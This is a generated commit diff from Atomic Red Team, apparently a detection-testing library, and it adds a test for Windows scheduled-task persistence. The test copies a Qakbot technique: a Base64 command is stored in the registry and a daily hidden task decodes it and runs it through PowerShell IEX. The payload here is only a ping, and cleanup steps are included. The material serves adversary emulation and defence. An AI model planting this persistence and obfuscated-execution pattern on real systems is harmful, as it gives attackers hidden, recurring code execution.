Generate docs from job=generate_and_commit_guids_and_docs branch=master [skip ci]
This commit is contained in:
CircleCI Atomic Red Team doc generator
parent
28e7237bc1
commit
0e616b34b3
@@ -243,6 +243,7 @@ privilege-escalation,T1053.005,Scheduled Task,3,Scheduled task Remote,2e5eac3e-3
|
||||
privilege-escalation,T1053.005,Scheduled Task,4,Powershell Cmdlet Scheduled Task,af9fd58f-c4ac-4bf2-a9ba-224b71ff25fd,powershell
|
||||
privilege-escalation,T1053.005,Scheduled Task,5,Task Scheduler via VBA,ecd3fa21-7792-41a2-8726-2c5c673414d3,powershell
|
||||
privilege-escalation,T1053.005,Scheduled Task,6,WMI Invoke-CimMethod Scheduled Task,e16b3b75-dc9e-4cde-a23d-dfa2d0507b3b,powershell
|
||||
privilege-escalation,T1053.005,Scheduled Task,7,Scheduled Task Executing Base64 Encoded Commands From Registry,e895677d-4f06-49ab-91b6-ae3742d0a2ba,command_prompt
|
||||
privilege-escalation,T1546.002,Screensaver,1,Set Arbitrary Binary as Screensaver,281201e7-de41-4dc9-b73d-f288938cbb64,command_prompt
|
||||
privilege-escalation,T1547.005,Security Support Provider,1,Modify SSP configuration in registry,afdfd7e3-8a0b-409f-85f7-886fdf249c9e,powershell
|
||||
privilege-escalation,T1574.011,Services Registry Permissions Weakness,1,Service Registry Permissions Weakness,f7536d63-7fd4-466f-89da-7e48d550752a,powershell
|
||||
@@ -699,6 +700,7 @@ persistence,T1053.005,Scheduled Task,3,Scheduled task Remote,2e5eac3e-327b-4a88-
|
||||
persistence,T1053.005,Scheduled Task,4,Powershell Cmdlet Scheduled Task,af9fd58f-c4ac-4bf2-a9ba-224b71ff25fd,powershell
|
||||
persistence,T1053.005,Scheduled Task,5,Task Scheduler via VBA,ecd3fa21-7792-41a2-8726-2c5c673414d3,powershell
|
||||
persistence,T1053.005,Scheduled Task,6,WMI Invoke-CimMethod Scheduled Task,e16b3b75-dc9e-4cde-a23d-dfa2d0507b3b,powershell
|
||||
persistence,T1053.005,Scheduled Task,7,Scheduled Task Executing Base64 Encoded Commands From Registry,e895677d-4f06-49ab-91b6-ae3742d0a2ba,command_prompt
|
||||
persistence,T1546.002,Screensaver,1,Set Arbitrary Binary as Screensaver,281201e7-de41-4dc9-b73d-f288938cbb64,command_prompt
|
||||
persistence,T1547.005,Security Support Provider,1,Modify SSP configuration in registry,afdfd7e3-8a0b-409f-85f7-886fdf249c9e,powershell
|
||||
persistence,T1574.011,Services Registry Permissions Weakness,1,Service Registry Permissions Weakness,f7536d63-7fd4-466f-89da-7e48d550752a,powershell
|
||||
@@ -951,6 +953,7 @@ execution,T1053.005,Scheduled Task,3,Scheduled task Remote,2e5eac3e-327b-4a88-a0
|
||||
execution,T1053.005,Scheduled Task,4,Powershell Cmdlet Scheduled Task,af9fd58f-c4ac-4bf2-a9ba-224b71ff25fd,powershell
|
||||
execution,T1053.005,Scheduled Task,5,Task Scheduler via VBA,ecd3fa21-7792-41a2-8726-2c5c673414d3,powershell
|
||||
execution,T1053.005,Scheduled Task,6,WMI Invoke-CimMethod Scheduled Task,e16b3b75-dc9e-4cde-a23d-dfa2d0507b3b,powershell
|
||||
execution,T1053.005,Scheduled Task,7,Scheduled Task Executing Base64 Encoded Commands From Registry,e895677d-4f06-49ab-91b6-ae3742d0a2ba,command_prompt
|
||||
execution,T1569.002,Service Execution,1,Execute a Command as a Service,2382dee2-a75f-49aa-9378-f52df6ed3fb1,command_prompt
|
||||
execution,T1569.002,Service Execution,2,Use PsExec to execute a command on a remote host,873106b7-cfed-454b-8680-fa9f6400431c,command_prompt
|
||||
execution,T1072,Software Deployment Tools,1,Radmin Viewer Utility,b4988cad-6ed2-434d-ace5-ea2670782129,command_prompt
|
||||
|
||||
|
@@ -165,6 +165,7 @@ privilege-escalation,T1053.005,Scheduled Task,3,Scheduled task Remote,2e5eac3e-3
|
||||
privilege-escalation,T1053.005,Scheduled Task,4,Powershell Cmdlet Scheduled Task,af9fd58f-c4ac-4bf2-a9ba-224b71ff25fd,powershell
|
||||
privilege-escalation,T1053.005,Scheduled Task,5,Task Scheduler via VBA,ecd3fa21-7792-41a2-8726-2c5c673414d3,powershell
|
||||
privilege-escalation,T1053.005,Scheduled Task,6,WMI Invoke-CimMethod Scheduled Task,e16b3b75-dc9e-4cde-a23d-dfa2d0507b3b,powershell
|
||||
privilege-escalation,T1053.005,Scheduled Task,7,Scheduled Task Executing Base64 Encoded Commands From Registry,e895677d-4f06-49ab-91b6-ae3742d0a2ba,command_prompt
|
||||
privilege-escalation,T1546.002,Screensaver,1,Set Arbitrary Binary as Screensaver,281201e7-de41-4dc9-b73d-f288938cbb64,command_prompt
|
||||
privilege-escalation,T1547.005,Security Support Provider,1,Modify SSP configuration in registry,afdfd7e3-8a0b-409f-85f7-886fdf249c9e,powershell
|
||||
privilege-escalation,T1574.011,Services Registry Permissions Weakness,1,Service Registry Permissions Weakness,f7536d63-7fd4-466f-89da-7e48d550752a,powershell
|
||||
@@ -469,6 +470,7 @@ persistence,T1053.005,Scheduled Task,3,Scheduled task Remote,2e5eac3e-327b-4a88-
|
||||
persistence,T1053.005,Scheduled Task,4,Powershell Cmdlet Scheduled Task,af9fd58f-c4ac-4bf2-a9ba-224b71ff25fd,powershell
|
||||
persistence,T1053.005,Scheduled Task,5,Task Scheduler via VBA,ecd3fa21-7792-41a2-8726-2c5c673414d3,powershell
|
||||
persistence,T1053.005,Scheduled Task,6,WMI Invoke-CimMethod Scheduled Task,e16b3b75-dc9e-4cde-a23d-dfa2d0507b3b,powershell
|
||||
persistence,T1053.005,Scheduled Task,7,Scheduled Task Executing Base64 Encoded Commands From Registry,e895677d-4f06-49ab-91b6-ae3742d0a2ba,command_prompt
|
||||
persistence,T1546.002,Screensaver,1,Set Arbitrary Binary as Screensaver,281201e7-de41-4dc9-b73d-f288938cbb64,command_prompt
|
||||
persistence,T1547.005,Security Support Provider,1,Modify SSP configuration in registry,afdfd7e3-8a0b-409f-85f7-886fdf249c9e,powershell
|
||||
persistence,T1574.011,Services Registry Permissions Weakness,1,Service Registry Permissions Weakness,f7536d63-7fd4-466f-89da-7e48d550752a,powershell
|
||||
@@ -674,6 +676,7 @@ execution,T1053.005,Scheduled Task,3,Scheduled task Remote,2e5eac3e-327b-4a88-a0
|
||||
execution,T1053.005,Scheduled Task,4,Powershell Cmdlet Scheduled Task,af9fd58f-c4ac-4bf2-a9ba-224b71ff25fd,powershell
|
||||
execution,T1053.005,Scheduled Task,5,Task Scheduler via VBA,ecd3fa21-7792-41a2-8726-2c5c673414d3,powershell
|
||||
execution,T1053.005,Scheduled Task,6,WMI Invoke-CimMethod Scheduled Task,e16b3b75-dc9e-4cde-a23d-dfa2d0507b3b,powershell
|
||||
execution,T1053.005,Scheduled Task,7,Scheduled Task Executing Base64 Encoded Commands From Registry,e895677d-4f06-49ab-91b6-ae3742d0a2ba,command_prompt
|
||||
execution,T1569.002,Service Execution,1,Execute a Command as a Service,2382dee2-a75f-49aa-9378-f52df6ed3fb1,command_prompt
|
||||
execution,T1569.002,Service Execution,2,Use PsExec to execute a command on a remote host,873106b7-cfed-454b-8680-fa9f6400431c,command_prompt
|
||||
execution,T1072,Software Deployment Tools,1,Radmin Viewer Utility,b4988cad-6ed2-434d-ace5-ea2670782129,command_prompt
|
||||
|
||||
|
@@ -411,6 +411,7 @@
|
||||
- Atomic Test #4: Powershell Cmdlet Scheduled Task [windows]
|
||||
- Atomic Test #5: Task Scheduler via VBA [windows]
|
||||
- Atomic Test #6: WMI Invoke-CimMethod Scheduled Task [windows]
|
||||
- Atomic Test #7: Scheduled Task Executing Base64 Encoded Commands From Registry [windows]
|
||||
- T1053 Scheduled Task/Job [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
|
||||
- [T1546.002 Screensaver](../../T1546.002/T1546.002.md)
|
||||
- Atomic Test #1: Set Arbitrary Binary as Screensaver [windows]
|
||||
@@ -1137,6 +1138,7 @@
|
||||
- Atomic Test #4: Powershell Cmdlet Scheduled Task [windows]
|
||||
- Atomic Test #5: Task Scheduler via VBA [windows]
|
||||
- Atomic Test #6: WMI Invoke-CimMethod Scheduled Task [windows]
|
||||
- Atomic Test #7: Scheduled Task Executing Base64 Encoded Commands From Registry [windows]
|
||||
- T1053 Scheduled Task/Job [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
|
||||
- [T1546.002 Screensaver](../../T1546.002/T1546.002.md)
|
||||
- Atomic Test #1: Set Arbitrary Binary as Screensaver [windows]
|
||||
@@ -1591,6 +1593,7 @@
|
||||
- Atomic Test #4: Powershell Cmdlet Scheduled Task [windows]
|
||||
- Atomic Test #5: Task Scheduler via VBA [windows]
|
||||
- Atomic Test #6: WMI Invoke-CimMethod Scheduled Task [windows]
|
||||
- Atomic Test #7: Scheduled Task Executing Base64 Encoded Commands From Registry [windows]
|
||||
- T1053 Scheduled Task/Job [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
|
||||
- T1064 Scripting [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
|
||||
- [T1569.002 Service Execution](../../T1569.002/T1569.002.md)
|
||||
|
||||
@@ -299,6 +299,7 @@
|
||||
- Atomic Test #4: Powershell Cmdlet Scheduled Task [windows]
|
||||
- Atomic Test #5: Task Scheduler via VBA [windows]
|
||||
- Atomic Test #6: WMI Invoke-CimMethod Scheduled Task [windows]
|
||||
- Atomic Test #7: Scheduled Task Executing Base64 Encoded Commands From Registry [windows]
|
||||
- T1053 Scheduled Task/Job [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
|
||||
- [T1546.002 Screensaver](../../T1546.002/T1546.002.md)
|
||||
- Atomic Test #1: Set Arbitrary Binary as Screensaver [windows]
|
||||
@@ -801,6 +802,7 @@
|
||||
- Atomic Test #4: Powershell Cmdlet Scheduled Task [windows]
|
||||
- Atomic Test #5: Task Scheduler via VBA [windows]
|
||||
- Atomic Test #6: WMI Invoke-CimMethod Scheduled Task [windows]
|
||||
- Atomic Test #7: Scheduled Task Executing Base64 Encoded Commands From Registry [windows]
|
||||
- T1053 Scheduled Task/Job [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
|
||||
- [T1546.002 Screensaver](../../T1546.002/T1546.002.md)
|
||||
- Atomic Test #1: Set Arbitrary Binary as Screensaver [windows]
|
||||
@@ -1144,6 +1146,7 @@
|
||||
- Atomic Test #4: Powershell Cmdlet Scheduled Task [windows]
|
||||
- Atomic Test #5: Task Scheduler via VBA [windows]
|
||||
- Atomic Test #6: WMI Invoke-CimMethod Scheduled Task [windows]
|
||||
- Atomic Test #7: Scheduled Task Executing Base64 Encoded Commands From Registry [windows]
|
||||
- T1053 Scheduled Task/Job [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
|
||||
- T1064 Scripting [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
|
||||
- [T1569.002 Service Execution](../../T1569.002/T1569.002.md)
|
||||
|
||||
@@ -18418,6 +18418,28 @@ privilege-escalation:
|
||||
>$null 2>&1
|
||||
|
||||
'
|
||||
- name: Scheduled Task Executing Base64 Encoded Commands From Registry
|
||||
auto_generated_guid: e895677d-4f06-49ab-91b6-ae3742d0a2ba
|
||||
description: "A Base64 Encoded command will be stored in the registry (ping
|
||||
127.0.0.1) and then a scheduled task will be created.\nThe scheduled task
|
||||
will launch powershell to decode and run the command in the rgistry daily.\nThis
|
||||
is a persistence mechanism recently seen in use by Qakbot. \n\n[Additiona
|
||||
Information](https://thedfirreport.com/2022/02/07/qbot-likes-to-move-it-move-it/)\n"
|
||||
supported_platforms:
|
||||
- windows
|
||||
input_arguments:
|
||||
time:
|
||||
description: Daily scheduled task execution time
|
||||
type: string
|
||||
default: 27900
|
||||
executor:
|
||||
command: |
|
||||
reg add HKCU\SOFTWARE\ATOMIC-T1053.005 /v test /t REG_SZ /d cGluZyAxMjcuMC4wLjE= /f
|
||||
schtasks.exe /Create /F /TN "ATOMIC-T1053.005" /TR "cmd /c start /min \"\" powershell.exe -Command IEX([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String((Get-ItemProperty -Path HKCU:\\SOFTWARE\\ATOMIC-T1053.005).test)))" /sc daily /st #{time}
|
||||
cleanup_command: |
|
||||
schtasks /delete /tn "ATOMIC-T1053.005" /F >nul 2>&1
|
||||
reg delete HKCU\SOFTWARE\ATOMIC-T1053.005 /F >nul 2>&1
|
||||
name: command_prompt
|
||||
T1053:
|
||||
technique:
|
||||
id: attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9
|
||||
@@ -49110,6 +49132,28 @@ persistence:
|
||||
>$null 2>&1
|
||||
|
||||
'
|
||||
- name: Scheduled Task Executing Base64 Encoded Commands From Registry
|
||||
auto_generated_guid: e895677d-4f06-49ab-91b6-ae3742d0a2ba
|
||||
description: "A Base64 Encoded command will be stored in the registry (ping
|
||||
127.0.0.1) and then a scheduled task will be created.\nThe scheduled task
|
||||
will launch powershell to decode and run the command in the rgistry daily.\nThis
|
||||
is a persistence mechanism recently seen in use by Qakbot. \n\n[Additiona
|
||||
Information](https://thedfirreport.com/2022/02/07/qbot-likes-to-move-it-move-it/)\n"
|
||||
supported_platforms:
|
||||
- windows
|
||||
input_arguments:
|
||||
time:
|
||||
description: Daily scheduled task execution time
|
||||
type: string
|
||||
default: 27900
|
||||
executor:
|
||||
command: |
|
||||
reg add HKCU\SOFTWARE\ATOMIC-T1053.005 /v test /t REG_SZ /d cGluZyAxMjcuMC4wLjE= /f
|
||||
schtasks.exe /Create /F /TN "ATOMIC-T1053.005" /TR "cmd /c start /min \"\" powershell.exe -Command IEX([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String((Get-ItemProperty -Path HKCU:\\SOFTWARE\\ATOMIC-T1053.005).test)))" /sc daily /st #{time}
|
||||
cleanup_command: |
|
||||
schtasks /delete /tn "ATOMIC-T1053.005" /F >nul 2>&1
|
||||
reg delete HKCU\SOFTWARE\ATOMIC-T1053.005 /F >nul 2>&1
|
||||
name: command_prompt
|
||||
T1053:
|
||||
technique:
|
||||
id: attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9
|
||||
@@ -65462,6 +65506,28 @@ execution:
|
||||
>$null 2>&1
|
||||
|
||||
'
|
||||
- name: Scheduled Task Executing Base64 Encoded Commands From Registry
|
||||
auto_generated_guid: e895677d-4f06-49ab-91b6-ae3742d0a2ba
|
||||
description: "A Base64 Encoded command will be stored in the registry (ping
|
||||
127.0.0.1) and then a scheduled task will be created.\nThe scheduled task
|
||||
will launch powershell to decode and run the command in the rgistry daily.\nThis
|
||||
is a persistence mechanism recently seen in use by Qakbot. \n\n[Additiona
|
||||
Information](https://thedfirreport.com/2022/02/07/qbot-likes-to-move-it-move-it/)\n"
|
||||
supported_platforms:
|
||||
- windows
|
||||
input_arguments:
|
||||
time:
|
||||
description: Daily scheduled task execution time
|
||||
type: string
|
||||
default: 27900
|
||||
executor:
|
||||
command: |
|
||||
reg add HKCU\SOFTWARE\ATOMIC-T1053.005 /v test /t REG_SZ /d cGluZyAxMjcuMC4wLjE= /f
|
||||
schtasks.exe /Create /F /TN "ATOMIC-T1053.005" /TR "cmd /c start /min \"\" powershell.exe -Command IEX([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String((Get-ItemProperty -Path HKCU:\\SOFTWARE\\ATOMIC-T1053.005).test)))" /sc daily /st #{time}
|
||||
cleanup_command: |
|
||||
schtasks /delete /tn "ATOMIC-T1053.005" /F >nul 2>&1
|
||||
reg delete HKCU\SOFTWARE\ATOMIC-T1053.005 /F >nul 2>&1
|
||||
name: command_prompt
|
||||
T1053:
|
||||
technique:
|
||||
id: attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9
|
||||
|
||||
@@ -20,6 +20,8 @@ An adversary may use Windows Task Scheduler to execute programs at system startu
|
||||
|
||||
- [Atomic Test #6 - WMI Invoke-CimMethod Scheduled Task](#atomic-test-6---wmi-invoke-cimmethod-scheduled-task)
|
||||
|
||||
- [Atomic Test #7 - Scheduled Task Executing Base64 Encoded Commands From Registry](#atomic-test-7---scheduled-task-executing-base64-encoded-commands-from-registry)
|
||||
|
||||
|
||||
<br/>
|
||||
|
||||
@@ -261,4 +263,47 @@ Unregister-ScheduledTask -TaskName "T1053_005_WMI" -confirm:$false >$null 2>&1
|
||||
|
||||
|
||||
|
||||
<br/>
|
||||
<br/>
|
||||
|
||||
## Atomic Test #7 - Scheduled Task Executing Base64 Encoded Commands From Registry
|
||||
A Base64 Encoded command will be stored in the registry (ping 127.0.0.1) and then a scheduled task will be created.
|
||||
The scheduled task will launch powershell to decode and run the command in the rgistry daily.
|
||||
This is a persistence mechanism recently seen in use by Qakbot.
|
||||
|
||||
[Additiona Information](https://thedfirreport.com/2022/02/07/qbot-likes-to-move-it-move-it/)
|
||||
|
||||
**Supported Platforms:** Windows
|
||||
|
||||
|
||||
**auto_generated_guid:** e895677d-4f06-49ab-91b6-ae3742d0a2ba
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
#### Inputs:
|
||||
| Name | Description | Type | Default Value |
|
||||
|------|-------------|------|---------------|
|
||||
| time | Daily scheduled task execution time | string | 27900|
|
||||
|
||||
|
||||
#### Attack Commands: Run with `command_prompt`!
|
||||
|
||||
|
||||
```cmd
|
||||
reg add HKCU\SOFTWARE\ATOMIC-T1053.005 /v test /t REG_SZ /d cGluZyAxMjcuMC4wLjE= /f
|
||||
schtasks.exe /Create /F /TN "ATOMIC-T1053.005" /TR "cmd /c start /min \"\" powershell.exe -Command IEX([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String((Get-ItemProperty -Path HKCU:\\SOFTWARE\\ATOMIC-T1053.005).test)))" /sc daily /st #{time}
|
||||
```
|
||||
|
||||
#### Cleanup Commands:
|
||||
```cmd
|
||||
schtasks /delete /tn "ATOMIC-T1053.005" /F >nul 2>&1
|
||||
reg delete HKCU\SOFTWARE\ATOMIC-T1053.005 /F >nul 2>&1
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<br/>
|
||||
|
||||
Reference in New Issue
Block a user